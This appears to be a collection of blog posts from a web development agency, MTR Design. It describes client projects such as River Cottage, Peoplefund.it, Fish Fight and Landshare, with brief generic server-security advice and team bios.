Careful implementation of all of the above measures will further increase the security of the system, making the server extremely resilient against cyber attacks. Remember though, security is not a state - it's a process. Hire someone to take care of all security-related tasks on an ongoing basis.

Another point - as great as this all sounds on paper, it's the implementation that counts. Be careful with the implementation of the different services, safeguards and applications.

The weakest point in such a system would be the employee computer. A hacker who knows the basic layout of the server (and it follows the recommendations given so far) would focus on attacking the computer of some employee. Do not ignore the client side of the equation - this is quite often the weakest link in the chain.

We have plans to write a post about the client side too.

The next logical step was to offer this support to anyone who may need it. So now you can see for yourselves what a good server support stands for:

• “Office hours support” or “24/7 support” depending on your requirements
• No more  bot replies and “sick-of-it-all” operators - our small support team consists entirely of system engineers, and they will be the ones to answer your call even in the middle of the night
• Thorough inspection - prior to taking an engagement our team always spends some time checking out the code of the website and the application and discussing with clients the priority the issues to be handled. One never knows what’s around the corner, so we prefer to have a certain idea about the actions to be undertaken and the sequence of these actions.
• Our clients will be granted access to our own server monitoring application (we will soon post more info about it).

We take our work personally. In order to provide the most adequate support our system engineers follow the inner relations between servers’ software and the hosted applications, as well as the impact of various events – software updates, introduction of new modules, etc. Thus they are few steps forward to the solution when the server fails to perform. And you know that speed and accuracy are of great importance when your reputation and money are at stake.

How did we handle it?

• Development of the HTML/CSS layouts for the website
• Drupal theming and custom module development
• Google Maps API integration
• Drupal setup & customization
• Site integration with the company's CRM (via a bespoke API)
• Server setup and administration

We had to create the cozy online home for a farm community, fully functioning and staying in touch with the real life. The original idea of our friends from Keo digital was that the users were supposed to communicate with each other, to exchange experience and goods and to participate in all the events, organized by the River Cottage team. The market as a crucial feature of each society – a virtual and a real one – took a central place in our building plans.

The building team in action!

River Cottage project’s strongest challenge was to gather together in a functional website all the existing solutions and make them work in a way that a digital community was supposed to run.

Building a community with all the range of complexity of interactions and relationships needed a precise maintenance and a community platform, which MTR Design created especially for the site. It proved to be a successful implementation since as we speak it supports more than 100,000 users of the site. The platform allows all River Cottage users to maintain personal blogs, to communicate with each other using the site forums, to ask questions in the Q&A section of the website and so on.

They are given all the advantages of the online communication as they can share experience using inMail messaging system and exchange something more than recipes. The community idea is even more strongly presented in the members’ directory, bringing users even closer together. Using Google maps feature an interactive map was created giving a chance for the users to keep in touch with their fellow river cottagers in their local area.

River Cottage is not a charity organization, but a business project, so a central role in its everyday life is promoting all sort of activities – courses, books and events. All the users are duly informed for these receiving an e-mail, so our team provided a tool for maintaining a newsletter with near 300,000 subscribers, as well as implemented Campaign Monitor as an e-mail device for all the River Cottage campaigns.

One of the most important components of the site and respectively - a challenge for the team, was creating the online shop. Now it is a market place where more than 400,000 users purchase goods – books, course enrollments, gift vouchers. The shop is well-supplied with the necessary features - membership subscriptions, promotion codes, virtual wallets, recurring payments, etc., thus propelling our client’s business straight ahead.

What else have we done?

• Setup of the hosting platform using the Amazon AWS cloud hosting service
• Intelligent automated tagging for all user-generated content (using the tagging engine developed by Neural Brothers)
• Bespoke RESTful API which powers the River Cottage Every Day iPhone app
• All social media support including – Facebook, Twitter and re-tweeting, and all other common social bookmarking tools
• Integration of the online shop with the Sage accounting software used in the River Cottage headquarters
• Integration of a video hosting platform Vzaar for a vide streaming of costumers’ videos on the site

Results

Today River Cottage website www.rivercottage.net is the place on internet where a strong and ever growing community devoted to sustainable life style is thriving. The different events, courses and communications supported by the web site are making this community a breathing one. The site helps the River Cottage project gain even more popularity and turns it into into a successful business.

Numbers are our testimonials

• 100,000 registered users and still counting
• 300,000 newsletter subscribers
• 400,000 visitors purchasing books, courses and gift vouchers in the online shop

* The River Cottage website is owned by HWF Interactive Ltd and is managed jointly by River Cottage and KEO digital teams.

How did we handle it?

• Development of the HTML/CSS layouts for the website
• E-commerce shopping cart platform (integrated with Sage accounting)
• Server setup and administration
• Video streaming integration (using the Vzaar API)
• Third party API integrations (Facebook, Twitter)
• Custom content management system
• Payment system integration (WorldPay)
• Development of an API for the River Cottage EveryDay iPhone app
• Newsletter module integrated with the Mailchimp email marketing platform

Key facts about the project

Peoplefund.it is organized around funding original projects. Each ideas grower needs to have an account in order to promote them and raise the targeted amount. Every visitor can become a supporter by pledging a certain amount of money, time or skills in return for his choice of award. It’s a win–win situation. The pledged money will be transferred only if the targeted sum is raised and the goal is reached, on the other hand every contributor will receive a reward for his/her support.

In its essence the site is all about forming a community – so our team was commissioned to craft a community platform especially designated for the needs of the project. Each party – the project creator and the supporter has their own account in peoplefund.it which makes the interactions between the participants more transparent and reliable.

At the same time the site plays main role in popularizing the idea – it provides the tools for gaining popularity – video streaming, photo sharing, social media connection. These features are integrated in a bespoke content management system, built up by our team.

One of the most important functions of the site and respectively the one that required a lot of planning and proofing was the integration of the GoCardless direct debit system. So we had to put some extra care in securing the transactions and authorization between the parties.

What did MTR Design team do in this project?

• A community platform
• A bespoke content management system and integration of video streaming (vzaar), photo sharing and other user generated content (UGC) options
• Hosting platform setup for the project, using Amazon cloud service
• Connection to GoCardless payment system
• Integration of connections to third party social networks (Facebook, Twitter, LinkedIn and others)
• Widget for embedding a certain project in the visitor’s personal site
• Easy sign up via Facebook and EnergyShare accounts

Inspiring results

Since the launch of Peoplefund.it a week ago one of the projects “The Bicycle Academy” has already raised 100% of the targeted amount and they keep on getting pledges. The ideas are gaining more popularity and other projects are making their small but steady steps towards success. See for yourselves!

The project is commissioned and owned by Keo digital.

Simple…

Once you have your project all cleared up and predefined, you should set the target sum and time for raising it and start collecting pledges. Put in all the ingredients to make your stuff attractive  – rewards, videos, pictures, inspiring texts. Then wait to see how people like it. Or love it, or adore it.

This is how it worked for our featured heroes - The Bicycle academy. Two guys had an inspiring idea to start a bicycle framebuilding school and give away every first bicycle to the people who really need it – in Africa! Thanks to crowd funding and peoplefund.it they reached their target for less than a week and managed to raise more than £40,000. Fascinating, isn’t it?

How could this happen? They had an ingenious idea, but it wasn’t enough. They had to add in their passion, dedication, inspiration, love and make it as popular as possible. And it was up to www.peoplefund.it to prove that this could work. It was really astonishing how quickly the pledges were made and the goal was reached. We are proud of our work and even more satisfied of how the site helped an original good idea to become reality.

See for yourself how The Bicycle academy made it.

And next time YOU have a brilliant idea in mind – don’t let it slip away. Test it here to see whether peoplefund.it.

But having Emil on our side – a server whisperer, Python zealot and a Django fan – the team is in full force to cope with any adversity the web could throw at us.

And what is more important – at last Milen can have his good night’s sleep not having to worry about the clouds in the web sky.

The result is quite satisfying – an easy to access and fast to browse through mobile-friendly site that gives you the feel you are staring at the whole picture. The mobile version of Dizzyjam provides a simple checkout process and works brilliantly as your personal merch stall wherever you are.

The focus is set on the shop items – so they are presented in their most – the logo designs and the variety of the products are easy to see and even easier to buy. This gives the shop owners yet another way to advertise and propel their business as they literally have their shop in their pocket.

We are really proud to share with you the outcome of our work and hope it will inspire you and colour your day.

First of all we would really like to share what a wonderful job the Hugh’s Fish Fight website is doing. Last week the 4^th episode was played on Channel 4 and we definitely hit some new records of public interest. The web site scored some of the highest numbers of visits we’ve seen and we are really proud of it managing to meet all the interest. Previously in the campaign our team expanded the range of the site and it went international – now it’s live and functioning on 11 different European languages.

The campaign is already making fisheries policy change and it wouldn’t be so successful unless it was the perfect combination of powerful and charismatic impact of the initiative and the strong and stable support of www.fishfight.net.

Our arrival in UK was the perfect time for launching another MTR Design project – www.lifeinukthetest.co.uk which is quite a coincidence to start with. This site can give you some really useful information – something we could say for sure trying it at our moving to UK. So did lots of people who have benefited from it for the last couple of weeks (as free from the website stats). The website provides a throughout  information about the history, society and everyday life in UK and scrolling through the variety of lessons one can receive the best chances to pass the British Citizenship Test.

We are having great time in Cardiff. And no wonder as the Dizzyjam headquarters is situated here together with its most eminent members – Daf and Neil who are dangerously familiar with the club life in the Welsh capital. Well it hasn’t been exactly partying all night long during the last two weeks, mostly because of the many thing we had to deal with. Nevertheless the results are dizzying at the end of the day and make us happy the morning after. Some of these are the new feature of Dizzyjam – embeddable shops.

The Dizzyjam shop owners now have at their disposal a tool which helps them set and embed their shop on their own websites. Following few easy steps every merchandiser can integrate the functions and adjust the looks of their shop in their own web space, thus gaining more popularity in the crowded merch scene.

Well, that’s all for now. A humble sunray is sneaking through the clouds so we’ll try to catch it. All of you – our lovely UK friends and partners, feel free to join us any time you are around – just give us a call and we will find time for a beer and a talk.

via Reason Magazine

So it’s very important not to forget that in web design “web” comes first and “design” follows. Web sites are not just a couple of damn good artistic layouts, they are built for a reason, so they must be designed in a manner to serve this reason in the best possible way.

Of course I’m far from bringing in a manifesto for a web without pics, although I definitely stand for banning the flash.

The good design is crucial for drawing the users’ attention. But it should not distract them from their initial intention, or even worse – make them wander while searching throughout the site for what they needed in the first place – such a walk won’t last long.

On the other hand the extreme simplicity can give you much trouble. If you have several stylish “Kandinsky squares” on your site, while all the important features are out of reach, hidden somewhere in abundant site menus, they will be of little use for your exquisite visitors.

It’s easy to recognize when things have gone wrong in an application or a site. Unfortunately it’s not that simple to make things perfect. One could never guess what the preferences of all users will be – the rationality and emotionality are in different proportions in each person – some will like this http://www.alistapart.com/, others will go for that: http://waterlife.nfb.ca/ (it will take some time to browse all the elements). It depends on what you’re looking for. Fun, recreation, knowledge or service – not getting it on time can be frustrating even if there is a sweet melody playing and some terrific animation spinning around. Well, I’m in the park right now, using the municipal wi fi and I’m really doing my best to understand what is this orchestra and floating squares all about. Well, I gave it up. You’ve got my point.

It’s good to have smashing layouts, but it’s better to have the right design which will suit your website’s goals.

Remember when I mentioned how hard it is to blend the perfect mixture of emotional perceptions and rationality? In fact I found my own way for mixing both drinks – I always use the reason as a finger to point me what is the best solution. Every piece of the design should have a meaning and stand on the web page for a reason. Every image should have a story to tell. As long as I can explain the purpose and designation of each element on the site, I can tell for certain that the designer has done a great job.

Though designers want their full control over the creation process and the tools they use, it’s the project manager’s job to ask for reasonable and functional layouts.

Everybody should be left alone to do what they are best at, that including the manager who’s got the power to explain the concept to the designer and to bring together art and functionality in building an almost perfect, yet beautifully functioning web site.

We know for sure when our efforts are worth it – it’s that  delightful moment of perfection when a great project has spoken out loud and the raw idea, vested in stimulating digital presentation has made a great impact in the real world. In Fish Fight we have it all – a powerful cause, a storming digital introduction and inspiring results.

So enjoy this video and find out what it takes for your ideas to make a difference.

The app is quite simple to manage and unobtrusively mingles with the interface of your Facebook page. It’s easy to install and configure, even easier to use and is a real business galvanizer.

So have a nice time on the web and feel free to be seen everywhere with your wonderful designs.

The idea that Keo had in mind was expected to bring foward a powerful message, so they came up with simple design, that would play a central role in promoting the goal of the campaign – common fisheries policy reform driven by increased social awareness. The basic objective of the site was to get visitors involved in the mission by signing-up for supporting the campaign.

The site www.fishfight.net was supposed to undertake maximum concurring connections at the same time and to  maintain data income in the course of signing-up.

In order to make this happen our team took care of developing the site’s accessibility, administrating the system and server maintenance and performed a full time support during the unprecedented traffic registered at the very start of the campaign.

Some inspiring results

The time is ticking. So is the counter of the number of visitors supporting the cause. Every day even more people visit www.fishfight.net and get involved.

We realized that we’ve made this campaign happen and that became quite clear on the third night of the TV series aired on Channel 4. On 13th January between 8 p.m. and 11 p.m. www.fishfight.net scored 1 million page impressions.

And the campaign (conducted to a great extend through the www.fishfight.net) is already making its point and showing some astonishing results:

• Less than month since the site has been launched, there have already been made more than 630 thousands sign-ups for the cause
• The striving for change cascaded into the compelling number of more than 200 thousands Facebook supporters of the Fish fight community
• 190 MPs have signed the early day motion regarding the Fish fight issue.

How did we handle it?

The MTR Design team was responsible for development, maintenance and administration of the site. In short, our team is “to blame” for:

• HTML/CSS
• Google Maps API integration
• CMS development
• Server setup and administration

Yet, the best we’ve done is supporting a campaign that’s already making impact.

Testimonials

The success in developing www.fishfight.net was acknowledged by our partners KEO Films:

“Fish Fight’s successes to date are driven from fishfight.net, which includes exclusive video footage and compelling editorial content supporting the issues raised by the Big Fish Fight campaign.“

See it yourself! www.fishfight.net

The MTR Design team was approached by the guys from Keo digital who commissioned our team to build the new Landshare web site – a project we took quite personal after discussing the concept with them. A couple of tasteless supermarket salads later we got inspired and enthusiastic about joining those fellows and helping them out in the groove.

The concept for the website is to gather together three different types of users who can contribute to the online community in various ways. To cut the long story short – the idea is simple – those, who have land, are welcome to share it, those, who are looking for a farming plot, will find various offers on the site and those, who can give a hand in any way will have the opportunity to do it. So the key words, on which the community is supposed to blossom, are “sharing and collaboration”.

Grab your hoe!

Having Keo's main concept in mind, our team sketched out the first task – building a community platform. We tailored it to meet the commissioners’ requirements and supplied it with all the necessary attributes as users’ accounts, forums, newsletter, Q&A section, blogs and resource library. Besides all the “standard” modules, the community platform was equipped with a special “groups” feature, which brought the community concept to an entirely new level. It became a powerful tool for changing the local municipal policy. So our team had to make sure it worked properly and could dig even deeper for a change!

We were also responsible for developing the bespoke API for the Landshare iPhone app, which proved to be a winner!

Another good job on the field was establishing connections with Facebook, Google Maps and Twitter, as well integrating video streaming player.

Following days of hoeing and irrigation at the end of the day our team was ready to collect the harvest.

And what a harvest!

So far the website has more than 61 000 members in UK.

Landshare won the award for Best Green Use of Mobile Apps and Technologies for 2010.

Recently KEO Digital, the interactive arm of KEO Films, has licensed Landshare to their Australian and Canadian partners to continue its rapid growth. You can already find your fellow growers on http://landsharecanada.com/ and http://www.landshareaustralia.com.au/.

How did we handle it?

The MTR Design team was responsible for:

• Development of the HTML/CSS layouts
• Bespoke API which powers the Landshare iPhone app
• Third party API integration (Google maps, Facebook)
• CMS development
• Custom comunity modules (groups, events, forums, blogs, private messaging)

And dear English friends, I guess you already know that your government spends more than he earns (app. 152 billion pounds budget deficit for 2009), but did you know that this excess is 5 times greater than the revenues of the Bulgarian government (our GNP for the year 2009 is app. 30 billion pounds)?

Ronald J. Baker, Pricing on Purpose: Creating and Capturing Value

About the authors

Milen is a Project Manager, and a co-founder of MTR Design. He is also the first point of contact for our clients, and is personally “guilty” for the successful completion of a long list of web projects. Throughout the years he was responsible for the crafty befriending of clients such as: The Electric Sheep Company, River Cottage, BAA, and many other happy “victims”.

Nikolay is a former salesman turned Marketing | Business Development | Project Manager, and a co-founder of MTR Design. He is also the last point of contact for our clients due to his imaginable inability to improve his level of English. Throughout the years he successfully produced a number of inappropriate ideas for web applications, but to this very day his status of a “co-founder” keeps him steady in the team.

There is also a whole bunch of other highly suspicious individuals at MTR, that must be mentioned as they love being noted. Elena, Velentin, Stanislav, Vladimir, Marush and Alex all say hello to you.

See you around!